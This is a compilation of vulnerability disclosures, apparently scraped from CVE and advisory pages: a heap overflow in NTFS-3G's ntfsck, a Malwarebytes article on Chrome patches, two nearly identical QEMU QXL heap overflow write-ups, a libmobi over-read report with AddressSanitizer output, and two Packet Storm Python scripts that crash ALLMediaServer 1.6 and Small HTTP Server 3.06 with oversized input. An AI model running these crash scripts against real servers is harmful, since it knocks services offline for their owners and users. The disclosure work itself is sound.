ntfsck in NTFS-3G through 2021.8.22 has a heap-based buffer overflow involving buffer+512*3-2. NOTE: the upstream position is that ntfsck is deprecated; however, it is shipped by some Linux distributions.

Hello.

I have found a vulnerability in the NTFS-3G driver, specifically in the ntfsck tool (see: _ntfsprogs/ntfsck.c_).

In the _check\_file\_record_ function, the update sequence array is applied, but no proper boundary checks are implemented, so the function can write bytes from the update sequence array beyond the buffer being checked.

The vulnerable code is here:

    usa_ofs = le16_to_cpu(mft_rec->usa_ofs);
    usa_count = le16_to_cpu(mft_rec->usa_count);
    
    [...]
    
    // Remove update seq & check it.
    usa = *(u16*)(buffer+usa_ofs); // The value that should be at the end of every sector.
    assert_u32_equal(usa_count-1, buflen/NTFS_BLOCK_SIZE, "USA length");
    for (i=1;i<usa_count;i++) {
        u16 *fixup = (u16*)(buffer+NTFS_BLOCK_SIZE*i-2); // the value at the end of the sector.
        u16 saved_val = *(u16*)(buffer+usa_ofs+2*i); // the actual data value that was saved in the us array.
    
        assert_u32_equal(*fixup, usa, "fixup");
        *fixup = saved_val; // remove it.
    }
    

If _buflen_ is 1024, but the update sequence array contains 4 entries (including the first one, which you call _usa_), the loop will replace bytes 3 times, at the following offsets: buffer+512*1−2 (within the buffer), buffer+512*2−2 (within the buffer), buffer+512*3−2 (beyond the allocated buffer size). (The offset of the first attribute should be set to make room for additional entries in the update sequence array, so the _usa\_ofs+usa\_count <= attrs\_offset_ check is passed.)

Thus, bytes beyond the allocated buffer can be replaced, this is a heap overflow.

It should be noted that the _assert\_u32\_equal_ function just reports the errors, it doesn’t terminate the execution flow.

Since the _ntfsck_ tool is used in some GNU/Linux distributions (it’s _fsck.ntfs_ in Fedora), I strongly suggest implementing a fix.

**Report date** (to _info at tuxera dot com_): 2021-09-24. No reply.  
**Ping** (to _info at tuxera dot com_): 2021-09-29. No reply.

CVE-2021-46790: Heap overflow in ntfsck · Issue #16 · tuxera/ntfs-3g

Google has released an update for the Chrome browser that includes 30 security fixes. Edge and other Chromium-based browsers also need updating.
The post Update now! Critical patches for Chrome and Edge appeared first on Malwarebytes Labs.

Google has released an update for its Chrome browser that includes 30 security fixes. The latest version of the stable channel is now Chrome 101.0.4951.41 for Windows, Mac and Linux. This version addresses vulnerabilities that an attacker could exploit to take control of an affected system.

Microsoft advises Edge users—which is essentially a Microsoft-badged version of Chrome—to update as well, since it shares many of these vulnerabilities.

Seven of the vulnerabilities are rated as “high.” Five of those vulnerabilities are “Use after free” flaws, which, thanks to a memory relocation issue, can allow hackers to pass arbitrary code to a program. Which is another way of saying that attackers can do unauthorized things on your computer just by getting you to go to a malicious web page coded to exploit these problems.

**Use after free**

Publicly disclosed computer security flaws are listed in the Common Vulnerabilities and Exposures (CVE) database. Its goal is to make it easier to share data across separate vulnerability capabilities (tools, databases, and services). The use after free vulnerabilities that are listed with a high severity are:

*   **CVE-2022-1477**, a use-after-free vulnerability in the Vulkan graphics API.
*   **CVE-2022-1478**, a use-after-free vulnerability in the SwiftShader 3D renderer.
*   **CVE-2022-1479**, a use-after-free vulnerability in ANGLE a “graphics engine abstraction layer.”
*   **CVE-2022-1480**, is a use-after-free vulnerability in Device API. A remote attacker can reportedly create a specially crafted web page, trick the victim into visiting it, trigger the use-after-free error and execute arbitrary code on the target system.
*   **CVE-2022-1481**, is a use-after-free vulnerability in Sharing. This vulnerability can be reportedly be exploited by a remote non-authenticated attacker via the Internet, by luring the victim to a specially crafted web page.

**Other high severity vulnerabilities**

There are two other vulnerabilities listed as high severity issues:

*   **CVE-2022-1482**, is described as an “Inappropriate implementation in WebGL” in Google Chrome. A remote attacker can create a specially crafted web page, trick the victim into visiting it and compromise their system.
*   **CVE-2022-1483**, is a heap buffer overflow in WebGPU, a web API that exposes modern computer graphics capabilities for the Web. Heap is the name for a region of a process’ memory which is used to store dynamic variables. A buffer overflow is a type of software vulnerability that exists when an area of memory within a software application reaches its address boundary and writes into an adjacent memory region. In software exploit code, the two common areas that are targeted for overflows are the stack and the heap.

**How to update**

If you’re a Chrome user on Windows, Mac, or Linux, you should update to version 101.0.4951.41 as soon as possible.

The easiest way to update Chrome is to allow it to update automatically, which basically uses the same method as outlined below but does not require your attention. But you can end up blocking automatic updates if you never close the browser, or if something goes wrong, such as an extension stopping you from updating the browser.

So, it doesn’t hurt to check now and then. And now would be a good time, given the severity of the vulnerabilities listed.

My preferred method is to have Chrome open the page **chrome://settings/help** which you can also find by clicking **Settings > About Chrome**.

If there is an update available, Chrome will notify you and start downloading it. Then all you have to do is relaunch the browser in order for the update to complete.

So you don’t have to track the version number, when Chrome is up to date it displays the message “Chrome is up to date”

After the updates Chrome should be at version 101.0.4951.41 and Edge should be at version 101.0.1210.32.

Stay safe, everyone!

Update now! Critical patches for Chrome and Edge

A flaw was found in the QXL display device emulation in QEMU. An integer overflow in the cursor_alloc() function can lead to the allocation of a small cursor object followed by a subsequent heap-based buffer overflow. This flaw allows a malicious privileged guest user to crash the QEMU process on the host or potentially execute arbitrary code within the context of the QEMU process.

CVE-2021-4206

A flaw was found in the QXL display device emulation in QEMU. A double fetch of guest controlled values `cursor->header.width` and `cursor->header.height` can lead to the allocation of a small cursor object followed by a subsequent heap-based buffer overflow. A malicious privileged guest user could use this flaw to crash the QEMU process on the host or potentially execute arbitrary code within the context of the QEMU process.

CVE-2021-4207

ALLMediaServer 1.6 is vulnerable to Buffer Overflow via MediaServer.exe.

    # Exploit Title: ALLMediaServer 1.6 Remote Buffer Overflow# Discovered by: Yehia Elghaly# Discovered Date: 2022-03-25# Vendor Homepage: https://www.allmediaserver.org/# Software Link : https://www.allmediaserver.org/LiveUpdate/ALLMediaServer.exe# Tested Version: 1.6# Vulnerability Type:  Buffer Overflow (DoS) Remote# Tested on OS: Windows 7 x86 - Windows 10 x64# Description: ALLMediaServer 1.6 Remote Buffer Overflow# Steps to reproduce:# 1. - ALLMediaServer 1.6 listening on port 888 or can be changed to 878# 2. - Run the Script from remote TCP/IP# 3. - Mediaserver.exe Crashedimport socketprint("######################################################")print("# ALLMediaServer 1.6 Remote (BUffer Overflow)        #")print("#             --------------------------           #")print("#               BY  Yehia Elghaly                    #")print("######################################################")s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)try:  s.connect(('192.168.1.99', 878))  evilbuffer = "A" *1800  s.sendall(evilbuffer)  data = s.recv(1024)  s.close()  print "Media is Out"except socket.error, msg:  print ""  print "Couldnt connect with Mediaserver - Crashed"

CVE-2022-28480: ALLMediaServer 1.6 Remote Buffer Overflow ≈ Packet Storm

**Description of the vulnerability****Technical Details**

QXL, the QEMU QXL video accelerator, is a para-virtualized framebuffer device for the SPICE protocol. It is the default video device when we create a VM from virt-manager. It exposes the RAMs and I/O ports to let guest communicate with it.

    00:01.0 VGA compatible controller: Red Hat, Inc. QXL paravirtual graphic card (rev 04) (prog-if 00 [VGA controller])
            Subsystem: Red Hat, Inc. QEMU Virtual Machine
            Flags: fast devsel, IRQ 21
            Memory at f4000000 (32-bit, non-prefetchable) [size=64M]
            Memory at f8000000 (32-bit, non-prefetchable) [size=64M]
            Memory at fcc14000 (32-bit, non-prefetchable) [size=8K]
            I/O ports at c040 [size=32]
            Expansion ROM at 000c0000 [disabled] [size=128K]
            Kernel driver in use: qxl
            Kernel modules: qxl
    

On its RAMs, QXL implements different rings for different purposes. The space cursor points to the device RAMs, which means the guest controls its content. In cursor_ring, the guest can push a cursor command to tell the video driver how to render a cursor or where to place the cursor. After we push a command and notify the device to handle the command, the function qxl_cursor will be called. It will use cursor->header.width and cursor->header.height to allocate enough space for forward use.

    static QEMUCursor *qxl_cursor(PCIQXLDevice *qxl, QXLCursor *cursor,
                                  uint32_t group_id)
    {
        QEMUCursor *c;
        uint8_t *and_mask, *xor_mask;
        size_t size;
    
        c = cursor_alloc(cursor->header.width, cursor->header.height);
        c->hot_x = cursor->header.hot_spot_x;
        c->hot_y = cursor->header.hot_spot_y;
        switch (cursor->header.type) {
    ...
    
        case SPICE_CURSOR_TYPE_ALPHA:
            size = sizeof(uint32_t) * cursor->header.width * cursor->header.height;
            qxl_unpack_chunks(c->data, size, qxl, &cursor->chunk, group_id);
    
    

As I said before, the guest controls width and height when it enters the function cursor_alloc. The vulnerability happens in code \[1\]. if we set width and height to 0x8000. After the multiplication, it causes integer overflow and makes datasize become zero. the following allocation will not give enough space buffer.

    QEMUCursor *cursor_alloc(int width, int height)
    {
        QEMUCursor *c;
        int datasize = width * height * sizeof(uint32_t); //code [1]
    
        c = g_malloc0(sizeof(QEMUCursor) + datasize);
        c->width  = width;
        c->height = height;
        c->refcount = 1;
        return c;
    }
    

In function qxl_unpack_chunks, wrong allocation at cursor_alloc cause it believes buffer dest has size space for store data. Return from cursor\_alloc, and it recalculates size with type size_t, so it will multiply the correct value and enter function qxl_unpack_chunks for store guest data. Later calling memcpy will cause heap overflow.

    static void qxl_unpack_chunks(void *dest, size_t size, PCIQXLDevice *qxl,
                                  QXLDataChunk *chunk, uint32_t group_id)
    {
        uint32_t max_chunks = 32;
        size_t offset = 0;
        size_t bytes;
    
        for (;;) {
            bytes = MIN(size - offset, chunk->data_size);
            memcpy(dest + offset, chunk->data, bytes);
            offset += bytes;
            if (offset == size) {
                return;
            }
            chunk = qxl_phys2virt(qxl, chunk->next_chunk, group_id);
            if (!chunk) {
                return;
            }
            max_chunks--;
            if (max_chunks == 0) {
                return;
            }
        }
    }
    

**Requirement**

*   The attacker needs to run as a high-privileged user
*   VM need a QXL Video Device and a VNC Server Graphics

**Proof Of Concept**

Use virt-manager to create a VM which has a QXL Video Device and a VNC Server Graphics

*   Host OS : Ubuntu
    
*   Guest OS : Ubuntu
    
*   Run gcc poc.c -o poc and sudo ./poc
    
*   The VM will crash
    

**Mitigations**

*   Since the PoC must be run at high-privileged on the guest OS, Do not run untrusted code or driver in guest OS.

**Timeline**

*   2021-12-28 Vendor disclosure
*   2022-03-28 Vendor patched

**Credit**

Discovered by Billy Jheng Bing Jhong (@st424204)

CVE-2021-4206: QEMU QXL Integer overflow leads to Heap Overflow

**Description of the vulnerability****Technical Details**

QXL, the QEMU QXL video accelerator, is a para-virtualized framebuffer device for the SPICE protocol. It is the default video device when we create a VM from virt-manager. It exposes the RAMs and I/O ports to let guest communicate with it.

    00:01.0 VGA compatible controller: Red Hat, Inc. QXL paravirtual graphic card (rev 04) (prog-if 00 [VGA controller])
            Subsystem: Red Hat, Inc. QEMU Virtual Machine
            Flags: fast devsel, IRQ 21
            Memory at f4000000 (32-bit, non-prefetchable) [size=64M]
            Memory at f8000000 (32-bit, non-prefetchable) [size=64M]
            Memory at fcc14000 (32-bit, non-prefetchable) [size=8K]
            I/O ports at c040 [size=32]
            Expansion ROM at 000c0000 [disabled] [size=128K]
            Kernel driver in use: qxl
            Kernel modules: qxl
    

On its RAMs, QXL implements different rings for different purposes. The space cursor points are device RAMs, which means the guest controls its content. In cursor_ring, the guest can push a cursor command to tell the video driver how to render a cursor or where to place the cursor. After we push a command and notify the device to handle the command, the function qxl_cursor will be called. It will fetch cursor->header.width and cursor->header.height to allocate enough space for forward use.

    static QEMUCursor *qxl_cursor(PCIQXLDevice *qxl, QXLCursor *cursor,
                                  uint32_t group_id)
    {
        QEMUCursor *c;
        uint8_t *and_mask, *xor_mask;
        size_t size;
    
        c = cursor_alloc(cursor->header.width, cursor->header.height);
        c->hot_x = cursor->header.hot_spot_x;
        c->hot_y = cursor->header.hot_spot_y;
        switch (cursor->header.type) {
    ...
    
        case SPICE_CURSOR_TYPE_ALPHA:
            size = sizeof(uint32_t) * cursor->header.width * cursor->header.height;
            qxl_unpack_chunks(c->data, size, qxl, &cursor->chunk, group_id);
    
    

Return from cursor_alloc and it fetches cursor->header.width and cursor->header.height again to calculate size. Because cursor points to RAMS which means the cursor->header.width and cursor->header.height can be modify by guest anytime, we can race it to make them be a larger value after return from cursor_alloc. In function qxl_unpack_chunks, due to the wrong size causing it to believe buffer dest has size space for store data. Later calling memcpy will cause heap overflow.

    static void qxl_unpack_chunks(void *dest, size_t size, PCIQXLDevice *qxl,
                                  QXLDataChunk *chunk, uint32_t group_id)
    {
        uint32_t max_chunks = 32;
        size_t offset = 0;
        size_t bytes;
    
        for (;;) {
            bytes = MIN(size - offset, chunk->data_size);
            memcpy(dest + offset, chunk->data, bytes);
            offset += bytes;
            if (offset == size) {
                return;
            }
            chunk = qxl_phys2virt(qxl, chunk->next_chunk, group_id);
            if (!chunk) {
                return;
            }
            max_chunks--;
            if (max_chunks == 0) {
                return;
            }
        }
    }
    

**Requirement**

*   The attacker needs to run as a high-privileged user
*   VM need a QXL Video Device and a VNC Server Graphics

**Proof Of Concept**

Use virt-manager to create a VM which has a QXL Video Device and a VNC Server Graphics

*   Host OS : Ubuntu
    
*   Guest OS : Ubuntu
    
*   Run gcc poc.c -pthread -o poc and sudo ./poc
    
*   The VM will crash
    

**Mitigations**

*   Since the PoC must be run at high-privileged on the guest OS, Do not run untrusted code or driver in guest OS.

**Timeline**

*   2021-12-28 Vendor disclosure
*   2022-03-28 Vendor patched

**Credit**

Discovered by Billy Jheng Bing Jhong (@st424204)

CVE-2021-4207: QEMU QXL Integer overflow leads to Heap Overflow

Small HTTP Server version 3.06 suffers from a remote buffer overflow vulnerability via long GET request.

    # Exploit Title: Small HTTP Server Remote Buffer Overflow# Discovered by: Yehia Elghaly# Discovered Date: 2022-04-07# Vendor Homepage: http://smallsrv.com/# Software Link : http://smallsrv.com/shttps_mgi.exe# Tested Version: 3.06# Vulnerability Type:  Buffer Overflow Remote# Tested on OS: Windows XP SP3 -  Windows 7 Professional x86 SP1 # Description: Small HTTP Server 3.06 Long GET Remote Buffer Overflow#!/usr/bin/env pythonfrom requests.exceptions import ConnectionErrorfrom requests.compat import urljoin, quote_plusimport requests as reqtry:  url = "http://192.168.1.99"  term = "A" * 1600  evilb = urljoin(url, quote_plus(term))  resp = req.request(method='GET', url=evilb)  print(resp.text)except ConnectionError as e:  print "Crashed!!"

CVE-2022-28994: Small HTTP Server 3.06 Remote Buffer Overflow ≈ Packet Storm

Buffer Over-read in GitHub repository bfabiszewski/libmobi prior to 0.11. This vulnerability is capable of arbitrary code execution.

**Description**

Stack-based Buffer Overflow at index.c:991

**Build**

    git clone https://github.com/bfabiszewski/libmobi.git
    cd libmobi
    
    export CFLAGS="-g -O0 -lpthread -fsanitize=address"
    export CXXFLAGS="-g -O0 -lpthread -fsanitize=address"
    export LDFLAGS="-fsanitize=address"
    
    ./autogen.sh
    
    ./configure --disable-shared
    
    make
    

**POC**

    ./tools/mobitool -e -o ./tmp/ ./poc_s.mobi
    

poc\_s.mobi

**Asan**

    Title: Libmobi sample file
    Author: Bartek Fabiszewski
    Subject: Dictionaries
    Language: pl (utf8)
    Dictionary: pl => en
    __
    Mobi version: 7
    Creator software: kindlegen 2.9.0 (linux)
    
    Reconstructing source resources...
    =================================================================
    ==1384948==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7fffffffb9ff at pc 0x00000059774d bp 0x7fffffffb3b0 sp 0x7fffffffb3a8
    READ of size 1 at 0x7fffffffb9ff thread T0
        #0 0x59774c in mobi_decode_infl /home/fuzz/libmobi/src/index.c:991:21
        #1 0x4f8de3 in mobi_reconstruct_infl /home/fuzz/libmobi/src/parse_rawml.c:1419:28
        #2 0x4fabbc in mobi_reconstruct_orth /home/fuzz/libmobi/src/parse_rawml.c:1578:23
        #3 0x4fd1fb in mobi_reconstruct_links_kf7 /home/fuzz/libmobi/src/parse_rawml.c:1796:15
        #4 0x4fd916 in mobi_reconstruct_links /home/fuzz/libmobi/src/parse_rawml.c:1845:15
        #5 0x5011d3 in mobi_parse_rawml_opt /home/fuzz/libmobi/src/parse_rawml.c:2149:15
        #6 0x4ff78f in mobi_parse_rawml /home/fuzz/libmobi/src/parse_rawml.c:2005:12
        #7 0x4c98d4 in loadfilename /home/fuzz/libmobi/tools/mobitool.c:852:20
        #8 0x4c8b36 in main /home/fuzz/libmobi/tools/mobitool.c:1051:11
        #9 0x7ffff7a7a0b2 in __libc_start_main /build/glibc-sMfBJT/glibc-2.31/csu/../csu/libc-start.c:308:16
        #10 0x41d57d in _start (/home/fuzz/libmobi/tools/mobitool+0x41d57d)
    
    Address 0x7fffffffb9ff is located in stack of thread T0 at offset 1279 in frame
        #0 0x4f7fef in mobi_reconstruct_infl /home/fuzz/libmobi/src/parse_rawml.c:1364
    
      This frame has 7 object(s):
        [32, 40) 'infl_groups' (line 1366)
        [64, 565) 'name_attr' (line 1375)
        [640, 1141) 'infl_tag' (line 1376)
        [1216, 1224) 'groups' (line 1395)
        [1248, 1256) 'parts' (line 1397)
        [1280, 1781) 'decoded' (line 1414) <== Memory access at offset 1279 underflows this variable
        [1856, 1860) 'decoded_length' (line 1418)
    HINT: this may be a false positive if your program uses some custom stack unwind mechanism, swapcontext or vfork
          (longjmp and C++ exceptions *are* supported)
    SUMMARY: AddressSanitizer: stack-buffer-overflow /home/fuzz/libmobi/src/index.c:991:21 in mobi_decode_infl
    Shadow bytes around the buggy address:
      0x10007fff76e0: 00 00 00 00 00 00 05 f2 f2 f2 f2 f2 f2 f2 f2 f2
      0x10007fff76f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
      0x10007fff7700: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
      0x10007fff7710: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
      0x10007fff7720: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 05 f2
    =>0x10007fff7730: f2 f2 f2 f2 f2 f2 f2 f2 00 f2 f2 f2 00 f2 f2[f2]
      0x10007fff7740: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
      0x10007fff7750: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
      0x10007fff7760: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
      0x10007fff7770: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 05 f2
      0x10007fff7780: f2 f2 f2 f2 f2 f2 f2 f2 04 f3 f3 f3 00 00 00 00
    Shadow byte legend (one shadow byte represents 8 application bytes):
      Addressable:           00
      Partially addressable: 01 02 03 04 05 06 07
      Heap left redzone:       fa
      Freed heap region:       fd
      Stack left redzone:      f1
      Stack mid redzone:       f2
      Stack right redzone:     f3
      Stack after return:      f5
      Stack use after scope:   f8
      Global redzone:          f9
      Global init order:       f6
      Poisoned by user:        f7
      Container overflow:      fc
      Array cookie:            ac
      Intra object redzone:    bb
      ASan internal:           fe
      Left alloca redzone:     ca
      Right alloca redzone:    cb
      Shadow gap:              cc
    ==1384948==ABORTING
    

**Impact**

This vulnerability is capable of arbitrary code execution.

Tag

#buffer_overflow